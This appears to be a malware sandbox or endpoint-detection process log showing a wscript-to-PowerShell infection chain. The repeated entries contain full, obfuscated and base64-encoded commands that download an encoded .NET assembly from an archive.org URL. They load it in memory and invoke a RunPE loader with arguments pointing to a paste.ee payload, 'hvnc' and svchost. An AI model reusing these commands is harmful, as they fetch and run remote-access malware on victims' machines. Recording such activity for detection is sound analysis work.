Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) \|Iex"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
